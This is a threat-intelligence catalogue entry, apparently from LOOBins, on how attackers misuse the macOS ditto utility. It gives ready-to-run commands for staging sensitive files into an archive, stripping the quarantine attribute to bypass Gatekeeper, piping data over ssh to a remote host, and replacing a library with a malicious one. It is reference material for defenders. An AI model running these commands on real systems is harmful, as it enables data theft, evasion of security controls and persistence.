# ditto

> Copy files and directories while preserving file attributes and permissions.

ditto is a command line utility that is commonly used to copy files and directories while preserving file attributes and permissions. The tool can be used by malicious actors to collect and exfiltrate sensitive data, move laterally, and/or perform DLL hijacking or binary replacement attacks.

- Page: https://loobins.io/binaries/ditto/
- Author: Brendan Chamberlain (@infosecB)
- Created: 2023-05-04
- Tactics: Persistence, Defense Evasion, Lateral Movement, Collection, Exfiltration

## Paths

- `/usr/bin/ditto`

## Example Use Cases

### Copy and compress sensitive data locally

The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.

```bash
ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip
```

- Tactics: Collection, Exfiltration
- Tags: files, compress, recursive

### Remove extended attributes from a file

ditto can be used to bypass Gatekeeper by removing the "com.apple.quarantine" extended attribute.

```bash
ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null
```

- Tactics: Collection, Exfiltration
- Tags: files, compress, recursive

### Copy, compress, and transfer sensitive data to a remote macOS host

The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.

```bash
ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t
```

- Tactics: Defense Evasion, Lateral Movement, Collection, Exfiltration
- Tags: files

### DLL hijacking

Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes.

```bash
ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib
```

- Tactics: Persistence
- Tags: files

## Detections

- No detection content at time of writing

## Resources

- [ditto man page](https://ss64.com/osx/ditto.html)
- [Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
- [Jamf Threat Labs identifies Safari vulnerability allowing for Gatekeeper bypass](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)